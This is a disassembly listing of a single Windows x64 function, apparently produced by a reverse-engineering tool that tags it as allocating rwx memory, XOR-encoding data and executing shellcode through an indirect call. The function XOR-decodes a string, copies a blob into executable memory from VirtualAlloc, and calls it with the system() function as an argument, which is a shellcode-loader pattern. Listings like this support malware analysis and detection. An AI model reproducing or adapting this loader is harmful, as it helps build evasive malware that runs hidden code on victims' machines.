Function at 0x140065050
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], rdi
mov qword [r11 + 0x20], r14
push r15
sub rsp, 0x70
mov rax, qword [0x1401cc1c0]
xor rax, rsp
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
lea r15, [rsp + 0x78]
movabs r14, 0xff00ff00ff00ff07
mov qword [r11 - 0x40], r14
mov qword [r11 - 0x38], r15
mov rbx, qword [r15]
xor rbx, r14
mov qword [r11 - 0x48], rbx
mov qword [r15], rax
mov eax, dword [str._UI_pXHYSO_]
mov dword [rsp + 0x20], eax
cmp byte [0x14019cc73], 0
je 0x140065180
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140065144
movdqa xmm3, xmmword [0x14019edd0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14019ef40]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14019ef40]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14019ee10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14019eea0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x20], xmm2
jmp 0x140065180
lea r9, [rsp + 0x20]
xor r8d, r8d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140065150
lea rax, [rsp + 0x20]
mov qword [rsp + 0x28], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x48], rax
mov qword [rcx], 0
xor ecx, ecx
lea rsi, [0x14007fe20]
lea rdi, [0x140000000]
mov rax, qword [0x141259bf0]
test rax, rax
je 0x1400651fa
xor edx, edx
cmp rax, rsi
je 0x1400651e9
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1259bf0]
test rax, rax
jne 0x1400651d1
jmp 0x1400651fa
mov r8, qword [rdi + rdx*8 + 0x125a5a0]
test r8, r8
jne 0x1400652df
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1400652be
mov rcx, rsi
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140065230
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
mov ecx, dword [rcx + 0x70]
mov dword [rax + 0x70], ecx
mov rax, qword [0x14125a230]
mov qword [rdi + rax*8 + 0x1259bf0], rsi
mov qword [rdi + rax*8 + 0x125a5a0], r8
inc rax
mov qword [0x14125a230], rax
lea rdx, [rsp + 0x28]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
xor rbx, r14
mov qword [r15], rbx
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140117bc0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret